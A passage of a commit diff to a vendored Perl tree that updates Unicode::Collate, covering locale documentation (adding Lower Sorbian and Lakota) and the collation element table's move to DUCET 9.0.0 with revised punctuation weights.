+33EF      ; [.1C3E.0020.0004][.1C43.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
+3368      ; [.1C3E.0020.0004][.1C43.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
+33F0      ; [.1C3E.0020.0004][.1C44.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
+3369      ; [.1C3E.0020.0004][.1C44.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
+33F1      ; [.1C3E.0020.0004][.1C45.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
+336A      ; [.1C3E.0020.0004][.1C45.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
+33F2      ; [.1C3E.0020.0004][.1C46.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
+336B      ; [.1C3E.0020.0004][.1C46.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
+33E0      ; [.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
+32C0      ; [.1C3E.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
+3359      ; [.1C3E.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
+33F3      ; [.1C3F.0020.0004][.1C3D.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
+336C      ; [.1C3F.0020.0004][.1C3D.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
+33F4      ; [.1C3F.0020.0004][.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
+336D      ; [.1C3F.0020.0004][.1C3E.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
+33F5      ; [.1C3F.0020.0004][.1C3F.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
+336E      ; [.1C3F.0020.0004][.1C3F.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
+33F6      ; [.1C3F.0020.0004][.1C40.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
+336F      ; [.1C3F.0020.0004][.1C40.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
+33F7      ; [.1C3F.0020.0004][.1C41.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
+3370      ; [.1C3F.0020.0004][.1C41.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
+33F8      ; [.1C3F.0020.0004][.1C42.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
+33F9      ; [.1C3F.0020.0004][.1C43.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
+33FA      ; [.1C3F.0020.0004][.1C44.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
+33FB      ; [.1C3F.0020.0004][.1C45.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
+33FC      ; [.1C3F.0020.0004][.1C46.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
+33E1      ; [.1C3F.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
+32C1      ; [.1C3F.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
+335A      ; [.1C3F.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
+33FD      ; [.1C40.0020.0004][.1C3D.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
+33FE      ; [.1C40.0020.0004][.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
+33E2      ; [.1C40.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
+32C2      ; [.1C40.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
+335B      ; [.1C40.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
+33E3      ; [.1C41.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
+32C3      ; [.1C41.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
+335C      ; [.1C41.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
+33E4      ; [.1C42.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
+32C4      ; [.1C42.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
+335D      ; [.1C42.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
+33E5      ; [.1C43.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
+32C5      ; [.1C43.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
+335E      ; [.1C43.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
+33E6      ; [.1C44.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
+32C6      ; [.1C44.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
+335F      ; [.1C44.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
+33E7      ; [.1C45.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
+32C7      ; [.1C45.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
+3360      ; [.1C45.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
+33E8      ; [.1C46.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
+32C8      ; [.1C46.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
+3361      ; [.1C46.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
+1F241     ; [*0379.0020.0004][.C8DF.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
+1F242     ; [*0379.0020.0004][.CBCD.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
+1F247     ; [*0379.0020.0004][.C1CC.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
+1F243     ; [*0379.0020.0004][.CB52.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
+1F245     ; [*0379.0020.0004][.8C38.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
+1F248     ; [*0379.0020.0004][.80CD.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+1F240     ; [*0379.0020.0004][.819A.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
+1F244     ; [*0379.0020.0004][.8E99.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
+1F246     ; [*0379.0020.0004][.8CA9.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
 2F00      ; [.CBDC.0020.0004] # KANGXI RADICAL ONE
 3192      ; [.CBDC.0020.0014] # IDEOGRAPHIC ANNOTATION ONE MARK
 3280      ; [.CBDC.0020.0006] # CIRCLED IDEOGRAPH ONE

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,15 +5,15 @@
 use Carp;
 use base qw(Unicode::Collate);
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my $PL_EXT  = '.pl';
 
 my %LocaleFile = map { ($_, $_) } qw(
-   af ar as az be bn ca cs cy da ee eo es et fa fi fil fo
-   gu ha haw he hi hr hu hy ig is ja kk kl kn ko kok ln lt lv
-   mk ml mr mt nb nn nso om or pa pl ro sa se si sk sl sq
-   sr sv ta te th tn to tr uk ur vi vo wae wo yo zh
+   af ar as az be bn ca cs cy da dsb ee eo es et fa fi fil fo gu
+   ha haw he hi hr hu hy ig is ja kk kl kn ko kok lkt ln lt lv
+   mk ml mr mt nb nn nso om or pa pl ro sa se si sk sl sq sr sv
+   ta te th tn to tr uk ur vi vo wae wo yo zh
 );
    $LocaleFile{'default'} = '';
 # aliases
@@ -260,6 +260,7 @@
       da                Danish
       de__phonebook     German (umlaut as 'ae', 'oe', 'ue')
       de_AT_phonebook   Austrian German (umlaut primary greater)
+      dsb               Lower Sorbian
       ee                Ewe
       eo                Esperanto
       es                Spanish
@@ -287,6 +288,7 @@
       kn                Kannada
       ko                Korean [2]
       kok               Konkani
+      lkt               Lakota
       ln                Lingala
       lt                Lithuanian
       lv                Latvian
@@ -323,7 +325,7 @@
       uk                Ukrainian
       ur                Urdu
       vi                Vietnamese
-      vo                Volapuk
+      vo                Volapu"k
       wae               Walser
       wo                Wolof
       yo                Yoruba
@@ -369,14 +371,30 @@
 [3] zh__pinyin, zh__stroke and zh__zhuyin: implemented alt='short',
 where a smaller number of ideographs are tailored.
 
-Note: 'pinyin' is in latin, 'zhuyin' is in bopomofo.
+=head2 A list of variant codes and their aliases
 
+      variant code       alias
+    ------------------------------------------
+      dictionary         dict
+      phonebook          phone     phonebk
+      reformed           reform
+      traditional        trad
+    ------------------------------------------
+      big5han            big5
+      gb2312han          gb2312
+      pinyin
+      stroke
+      zhuyin
+    ------------------------------------------
+
+Note: 'pinyin' is Han in Latin, 'zhuyin' is Han in Bopomofo.
+
 =head1 INSTALL
 
 Installation of C<Unicode::Collate::Locale> requires F<Collate/Locale.pm>,
 F<Collate/Locale/*.pm>, F<Collate/CJK/*.pm> and F<Collate/allkeys.txt>.
-On building, C<Unicode::Collate::Locale> doesn't require any of F<data/*.txt>,
-F<gendata/*>, and F<mklocale>.
+On building, C<Unicode::Collate::Locale> doesn't require
+any of F<data/*.txt>, F<gendata/*>, and F<mklocale>.
 Tests for C<Unicode::Collate::Locale> are named F<t/loc_*.t>.
 
 =head1 CAVEAT
@@ -403,11 +421,11 @@
       locale            based CLDR or other reference
     --------------------------------------------------------------------
       af                30 = 1.8.1
-      ar                22.1 = 1.9.0
+      ar                30 = 28 ("compat" wo [reorder Arab]) = 1.9.0
       as                30 = 28 (without [reorder Beng..]) = 23
-      az                30 = 24 (type="standard" without [reorder Latn Cyrl])
+      az                30 = 24 ("standard" wo [reorder Latn Cyrl])
       be                30 = 28 (without [reorder Cyrl])
-      bn                30 = 28 (type="standard" wo [reorder Beng..]) = 2.0.1
+      bn                30 = 28 ("standard" wo [reorder Beng..]) = 2.0.1
       bs                30 = 28 (type="standard": [import hr])
       bs_Cyrl           30 = 28 (type="standard": [import sr])
       ca                30 = 23 (alt="proposed" type="standard")
@@ -416,7 +434,8 @@
       da                22.1 = 1.8.1 (type="standard")
       de__phonebook     30 = 2.0 (type="phonebook")
       de_AT_phonebook   30 = 27 (type="phonebook")
-      ee                22.1 = 22
+      dsb               30 = 26
+      ee                30 = 21
       eo                30 = 1.8.1
       es                30 = 1.9.0 (type="standard")
       es__traditional   30 = 1.8.1 (type="traditional")
@@ -427,12 +446,12 @@
       fil               30 = 1.9.0 (type="standard") = 1.8.1
       fo                22.1 = 1.8.1 (alt="proposed" type="standard")
       fr_CA             30 = 1.9.0
-      gu                30 = 28 (type="standard" wo [reorder Gujr..]) = 1.9.0
+      gu                30 = 28 ("standard" wo [reorder Gujr..]) = 1.9.0
       ha                30 = 1.9.0
       haw               30 = 24
       he                30 = 28 (without [reorder Hebr]) = 23
       hi                30 = 28 (without [reorder Deva..]) = 1.9.0
-      hr                22.1 = 1.9.0 (type="standard")
+      hr                30 = 28 ("standard" wo [reorder Latn Cyrl]) = 1.9.0
       hu                22.1 = 1.8.1 (alt="proposed" type="standard")
       hy                30 = 28 (without [reorder Armn]) = 1.8.1
       ig                30 = 1.8.1
@@ -440,9 +459,10 @@
       ja                22.1 = 1.8.1 (type="standard")
       kk                30 = 28 (without [reorder Cyrl])
       kl                22.1 = 1.8.1 (type="standard")
-      kn                30 = 28 (type="standard" wo [reorder Knda..]) = 1.9.0
+      kn                30 = 28 ("standard" wo [reorder Knda..]) = 1.9.0
       ko                22.1 = 1.8.1 (type="standard")
       kok               30 = 28 (without [reorder Deva..]) = 1.8.1
+      lkt               30 = 25
       ln                30 = 2.0 (type="standard") = 1.8.1
       lt                22.1 = 1.9.0
       lv                22.1 = 1.9.0 (type="standard") = 1.8.1
@@ -460,8 +480,8 @@
       ro                30 = 1.9.0 (type="standard")
       sa            [*] 1.9.1 = 1.8.1 (type="standard" alt="proposed")
       se                22.1 = 1.8.1 (type="standard")
-      si                30 = 28 (type="standard" wo [reorder Sinh..]) = 1.9.0
-      si__dictionary    30 = 28 (type="dictionary" wo [reorder Sinh..]) = 1.9.0
+      si                30 = 28 ("standard" wo [reorder Sinh..]) = 1.9.0
+      si__dictionary    30 = 28 ("dictionary" wo [reorder Sinh..]) = 1.9.0
       sk                22.1 = 1.9.0 (type="standard")
       sl                22.1 = 1.8.1 (type="standard" alt="proposed")
       sq                22.1 = 1.8.1 (alt="proposed" type="standard")
@@ -497,7 +517,7 @@
 
 The Unicode::Collate::Locale module for perl was written
 by SADAHIRO Tomoyuki, <SADAHIRO at cpan.org>.
-This module is Copyright(C) 2004-2016, SADAHIRO Tomoyuki. Japan.
+This module is Copyright(C) 2004-2017, SADAHIRO Tomoyuki. Japan.
 All rights reserved.
 
 This module is free software; you can redistribute it and/or

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/allkeys.txt
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/allkeys.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/allkeys.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,23 @@
-# unidata-8.0.0.txt
-# Date: 2015-02-18, 15:42:57 GMT [KW]
+# allkeys-9.0.0.txt
+# Date: 2016-05-16, 18:21:19 GMT [KW]
+# Copyright 2016 Unicode, Inc.
+# For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # This file defines the Default Unicode Collation Element Table
 #   (DUCET) for the Unicode Collation Algorithm
 #
-# Copyright (c) 2001-2015 Unicode, Inc.
-# For terms of use, see http://www.unicode.org/terms_of_use.html
-#
 # See UTS #10, Unicode Collation Algorithm, for more information.
 #
 # Diagnostic weight ranges
-# Primary weight range:   0200..530C (20749)
-# Secondary weight range: 0020..010F (240)
-# Variant secondaries:    010B..010F (5)
+# Primary weight range:   0200..54A3 (21156)
+# Secondary weight range: 0020..0114 (245)
+# Variant secondaries:    0110..0114 (5)
 # Tertiary weight range:  0002..001F (30)
 #
- at version 8.0.0
+ at version 9.0.0
 
+ at implicitweights 17000..18AFF; FB00 # Tangut and Tangut Components
+
 0000  ; [.0000.0000.0000] # NULL (in ISO 6429)
 0001  ; [.0000.0000.0000] # START OF HEADING (in ISO 6429)
 0002  ; [.0000.0000.0000] # START OF TEXT (in ISO 6429)
@@ -79,6 +80,7 @@
 00AD  ; [.0000.0000.0000] # SOFT HYPHEN
 061C  ; [.0000.0000.0000] # ARABIC LETTER MARK
 070F  ; [.0000.0000.0000] # SYRIAC ABBREVIATION MARK
+08E2  ; [.0000.0000.0000] # ARABIC DISPUTED END OF AYAH
 180B  ; [.0000.0000.0000] # MONGOLIAN FREE VARIATION SELECTOR ONE
 180C  ; [.0000.0000.0000] # MONGOLIAN FREE VARIATION SELECTOR TWO
 180D  ; [.0000.0000.0000] # MONGOLIAN FREE VARIATION SELECTOR THREE
@@ -479,135 +481,135 @@
 000C  ; [*0204.0020.0002] # FORM FEED (in ISO 6429)
 000D  ; [*0205.0020.0002] # CARRIAGE RETURN (in ISO 6429)
 0020  ; [*0209.0020.0002] # SPACE
-0021  ; [*025F.0020.0002] # EXCLAMATION MARK
-0022  ; [*0305.0020.0002] # QUOTATION MARK
-0023  ; [*0391.0020.0002] # NUMBER SIGN
-0025  ; [*0392.0020.0002] # PERCENT SIGN
-0026  ; [*038F.0020.0002] # AMPERSAND
-0027  ; [*02FE.0020.0002] # APOSTROPHE
-0028  ; [*0310.0020.0002] # LEFT PARENTHESIS
-0029  ; [*0311.0020.0002] # RIGHT PARENTHESIS
-002A  ; [*0388.0020.0002] # ASTERISK
-002B  ; [*05F6.0020.0002] # PLUS SIGN
-002C  ; [*0221.0020.0002] # COMMA
+0021  ; [*0260.0020.0002] # EXCLAMATION MARK
+0022  ; [*030C.0020.0002] # QUOTATION MARK
+0023  ; [*0398.0020.0002] # NUMBER SIGN
+0025  ; [*0399.0020.0002] # PERCENT SIGN
+0026  ; [*0396.0020.0002] # AMPERSAND
+0027  ; [*0305.0020.0002] # APOSTROPHE
+0028  ; [*0317.0020.0002] # LEFT PARENTHESIS
+0029  ; [*0318.0020.0002] # RIGHT PARENTHESIS
+002A  ; [*038F.0020.0002] # ASTERISK
+002B  ; [*0616.0020.0002] # PLUS SIGN
+002C  ; [*0222.0020.0002] # COMMA
 002D  ; [*020D.0020.0002] # HYPHEN-MINUS
-002E  ; [*0274.0020.0002] # FULL STOP
-002F  ; [*038D.0020.0002] # SOLIDUS
-003A  ; [*0238.0020.0002] # COLON
-003B  ; [*0233.0020.0002] # SEMICOLON
-003C  ; [*05FA.0020.0002] # LESS-THAN SIGN
-003D  ; [*05FB.0020.0002] # EQUALS SIGN
-003E  ; [*05FC.0020.0002] # GREATER-THAN SIGN
-003F  ; [*0264.0020.0002] # QUESTION MARK
-0040  ; [*0387.0020.0002] # COMMERCIAL AT
-005B  ; [*0312.0020.0002] # LEFT SQUARE BRACKET
-005C  ; [*038E.0020.0002] # REVERSE SOLIDUS
-005D  ; [*0313.0020.0002] # RIGHT SQUARE BRACKET
-005E  ; [*0466.0020.0002] # CIRCUMFLEX ACCENT
+002E  ; [*0277.0020.0002] # FULL STOP
+002F  ; [*0394.0020.0002] # SOLIDUS
+003A  ; [*0239.0020.0002] # COLON
+003B  ; [*0234.0020.0002] # SEMICOLON
+003C  ; [*061A.0020.0002] # LESS-THAN SIGN
+003D  ; [*061B.0020.0002] # EQUALS SIGN
+003E  ; [*061C.0020.0002] # GREATER-THAN SIGN
+003F  ; [*0266.0020.0002] # QUESTION MARK
+0040  ; [*038E.0020.0002] # COMMERCIAL AT
+005B  ; [*0319.0020.0002] # LEFT SQUARE BRACKET
+005C  ; [*0395.0020.0002] # REVERSE SOLIDUS
+005D  ; [*031A.0020.0002] # RIGHT SQUARE BRACKET
+005E  ; [*0485.0020.0002] # CIRCUMFLEX ACCENT
 005F  ; [*020B.0020.0002] # LOW LINE
-0060  ; [*0463.0020.0002] # GRAVE ACCENT
-007B  ; [*0314.0020.0002] # LEFT CURLY BRACKET
-007C  ; [*05FE.0020.0002] # VERTICAL LINE
-007D  ; [*0315.0020.0002] # RIGHT CURLY BRACKET
-007E  ; [*0600.0020.0002] # TILDE
+0060  ; [*0482.0020.0002] # GRAVE ACCENT
+007B  ; [*031B.0020.0002] # LEFT CURLY BRACKET
+007C  ; [*061E.0020.0002] # VERTICAL LINE
+007D  ; [*031C.0020.0002] # RIGHT CURLY BRACKET
+007E  ; [*0620.0020.0002] # TILDE
 0085  ; [*0206.0020.0002] # NEXT LINE (in ISO 6429)
 00A0  ; [*0209.0020.001B] # NO-BREAK SPACE
-00A1  ; [*0260.0020.0002] # INVERTED EXCLAMATION MARK
-00A6  ; [*05FF.0020.0002] # BROKEN BAR
-00A7  ; [*0382.0020.0002] # SECTION SIGN
-00A8  ; [*046A.0020.0002] # DIAERESIS
-00A9  ; [*0564.0020.0002] # COPYRIGHT SIGN
-00AB  ; [*030E.0020.0002] # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
-00AC  ; [*05FD.0020.0002] # NOT SIGN
-00AE  ; [*0565.0020.0002] # REGISTERED SIGN
-00AF  ; [*0467.0020.0002] # MACRON
-00B0  ; [*04D7.0020.0002] # DEGREE SIGN
-00B1  ; [*05F7.0020.0002] # PLUS-MINUS SIGN
-00B4  ; [*0464.0020.0002] # ACUTE ACCENT
-00B6  ; [*0384.0020.0002] # PILCROW SIGN
-00B7  ; [*0288.0020.0002] # MIDDLE DOT
-00B8  ; [*046D.0020.0002] # CEDILLA
-00BB  ; [*030F.0020.0002] # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
-00BF  ; [*0265.0020.0002] # INVERTED QUESTION MARK
-00D7  ; [*05F9.0020.0002] # MULTIPLICATION SIGN
-00F7  ; [*05F8.0020.0002] # DIVISION SIGN
-02B9  ; [*0474.0020.0002] # MODIFIER LETTER PRIME
-02BA  ; [*0476.0020.0002] # MODIFIER LETTER DOUBLE PRIME
-02C2  ; [*0477.0020.0002] # MODIFIER LETTER LEFT ARROWHEAD
-02C3  ; [*0478.0020.0002] # MODIFIER LETTER RIGHT ARROWHEAD
-02C4  ; [*0479.0020.0002] # MODIFIER LETTER UP ARROWHEAD
-02C5  ; [*047A.0020.0002] # MODIFIER LETTER DOWN ARROWHEAD
-02C6  ; [*047B.0020.0002] # MODIFIER LETTER CIRCUMFLEX ACCENT
-02C7  ; [*047C.0020.0002] # CARON
-02C8  ; [*047D.0020.0002] # MODIFIER LETTER VERTICAL LINE
-02C9  ; [*047E.0020.0002] # MODIFIER LETTER MACRON
-02CA  ; [*047F.0020.0002] # MODIFIER LETTER ACUTE ACCENT
-02CB  ; [*0480.0020.0002] # MODIFIER LETTER GRAVE ACCENT
-02CC  ; [*0481.0020.0002] # MODIFIER LETTER LOW VERTICAL LINE
-02CD  ; [*0482.0020.0002] # MODIFIER LETTER LOW MACRON
-02CE  ; [*0483.0020.0002] # MODIFIER LETTER LOW GRAVE ACCENT
-02CF  ; [*0484.0020.0002] # MODIFIER LETTER LOW ACUTE ACCENT
-02D2  ; [*0485.0020.0002] # MODIFIER LETTER CENTRED RIGHT HALF RING
-02D3  ; [*0486.0020.0002] # MODIFIER LETTER CENTRED LEFT HALF RING
-02D4  ; [*0487.0020.0002] # MODIFIER LETTER UP TACK
-02D5  ; [*0488.0020.0002] # MODIFIER LETTER DOWN TACK
-02D6  ; [*0489.0020.0002] # MODIFIER LETTER PLUS SIGN
-02D7  ; [*048A.0020.0002] # MODIFIER LETTER MINUS SIGN
-02D8  ; [*0468.0020.0002] # BREVE
-02D9  ; [*0469.0020.0002] # DOT ABOVE
-02DA  ; [*046B.0020.0002] # RING ABOVE
-02DB  ; [*046E.0020.0002] # OGONEK
-02DC  ; [*0465.0020.0002] # SMALL TILDE
-02DD  ; [*046C.0020.0002] # DOUBLE ACUTE ACCENT
-02DE  ; [*048B.0020.0002] # MODIFIER LETTER RHOTIC HOOK
-02DF  ; [*048C.0020.0002] # MODIFIER LETTER CROSS ACCENT
-02E5  ; [*048D.0020.0002] # MODIFIER LETTER EXTRA-HIGH TONE BAR
-02E6  ; [*048E.0020.0002] # MODIFIER LETTER HIGH TONE BAR
-02E7  ; [*048F.0020.0002] # MODIFIER LETTER MID TONE BAR
-02E8  ; [*0490.0020.0002] # MODIFIER LETTER LOW TONE BAR
-02E9  ; [*0491.0020.0002] # MODIFIER LETTER EXTRA-LOW TONE BAR
-02EA  ; [*0492.0020.0002] # MODIFIER LETTER YIN DEPARTING TONE MARK
-02EB  ; [*0493.0020.0002] # MODIFIER LETTER YANG DEPARTING TONE MARK
-02EC  ; [*0494.0020.0002] # MODIFIER LETTER VOICING
-02ED  ; [*0495.0020.0002] # MODIFIER LETTER UNASPIRATED
-02EF  ; [*0496.0020.0002] # MODIFIER LETTER LOW DOWN ARROWHEAD
-02F0  ; [*0497.0020.0002] # MODIFIER LETTER LOW UP ARROWHEAD
-02F1  ; [*0498.0020.0002] # MODIFIER LETTER LOW LEFT ARROWHEAD
-02F2  ; [*0499.0020.0002] # MODIFIER LETTER LOW RIGHT ARROWHEAD
-02F3  ; [*049A.0020.0002] # MODIFIER LETTER LOW RING
-02F4  ; [*049B.0020.0002] # MODIFIER LETTER MIDDLE GRAVE ACCENT
-02F5  ; [*049C.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT
-02F6  ; [*049D.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT
-02F7  ; [*049E.0020.0002] # MODIFIER LETTER LOW TILDE
-02F8  ; [*049F.0020.0002] # MODIFIER LETTER RAISED COLON
-02F9  ; [*04A0.0020.0002] # MODIFIER LETTER BEGIN HIGH TONE
-02FA  ; [*04A1.0020.0002] # MODIFIER LETTER END HIGH TONE
-02FB  ; [*04A2.0020.0002] # MODIFIER LETTER BEGIN LOW TONE
-02FC  ; [*04A3.0020.0002] # MODIFIER LETTER END LOW TONE
-02FD  ; [*04A4.0020.0002] # MODIFIER LETTER SHELF
-02FE  ; [*04A5.0020.0002] # MODIFIER LETTER OPEN SHELF
-02FF  ; [*04A6.0020.0002] # MODIFIER LETTER LOW LEFT ARROW
+00A1  ; [*0261.0020.0002] # INVERTED EXCLAMATION MARK
+00A6  ; [*061F.0020.0002] # BROKEN BAR
+00A7  ; [*0389.0020.0002] # SECTION SIGN
+00A8  ; [*0489.0020.0002] # DIAERESIS
+00A9  ; [*0584.0020.0002] # COPYRIGHT SIGN
+00AB  ; [*0315.0020.0002] # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
+00AC  ; [*061D.0020.0002] # NOT SIGN
+00AE  ; [*0585.0020.0002] # REGISTERED SIGN
+00AF  ; [*0486.0020.0002] # MACRON
+00B0  ; [*04F6.0020.0002] # DEGREE SIGN
+00B1  ; [*0617.0020.0002] # PLUS-MINUS SIGN
+00B4  ; [*0483.0020.0002] # ACUTE ACCENT
+00B6  ; [*038B.0020.0002] # PILCROW SIGN
+00B7  ; [*028B.0020.0002] # MIDDLE DOT
+00B8  ; [*048C.0020.0002] # CEDILLA
+00BB  ; [*0316.0020.0002] # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
+00BF  ; [*0267.0020.0002] # INVERTED QUESTION MARK
+00D7  ; [*0619.0020.0002] # MULTIPLICATION SIGN
+00F7  ; [*0618.0020.0002] # DIVISION SIGN
+02B9  ; [*0493.0020.0002] # MODIFIER LETTER PRIME
+02BA  ; [*0495.0020.0002] # MODIFIER LETTER DOUBLE PRIME
+02C2  ; [*0496.0020.0002] # MODIFIER LETTER LEFT ARROWHEAD
+02C3  ; [*0497.0020.0002] # MODIFIER LETTER RIGHT ARROWHEAD
+02C4  ; [*0498.0020.0002] # MODIFIER LETTER UP ARROWHEAD
+02C5  ; [*0499.0020.0002] # MODIFIER LETTER DOWN ARROWHEAD
+02C6  ; [*049A.0020.0002] # MODIFIER LETTER CIRCUMFLEX ACCENT
+02C7  ; [*049B.0020.0002] # CARON
+02C8  ; [*049C.0020.0002] # MODIFIER LETTER VERTICAL LINE
+02C9  ; [*049D.0020.0002] # MODIFIER LETTER MACRON
+02CA  ; [*049E.0020.0002] # MODIFIER LETTER ACUTE ACCENT
+02CB  ; [*049F.0020.0002] # MODIFIER LETTER GRAVE ACCENT
+02CC  ; [*04A0.0020.0002] # MODIFIER LETTER LOW VERTICAL LINE
+02CD  ; [*04A1.0020.0002] # MODIFIER LETTER LOW MACRON
+02CE  ; [*04A2.0020.0002] # MODIFIER LETTER LOW GRAVE ACCENT
+02CF  ; [*04A3.0020.0002] # MODIFIER LETTER LOW ACUTE ACCENT
+02D2  ; [*04A4.0020.0002] # MODIFIER LETTER CENTRED RIGHT HALF RING
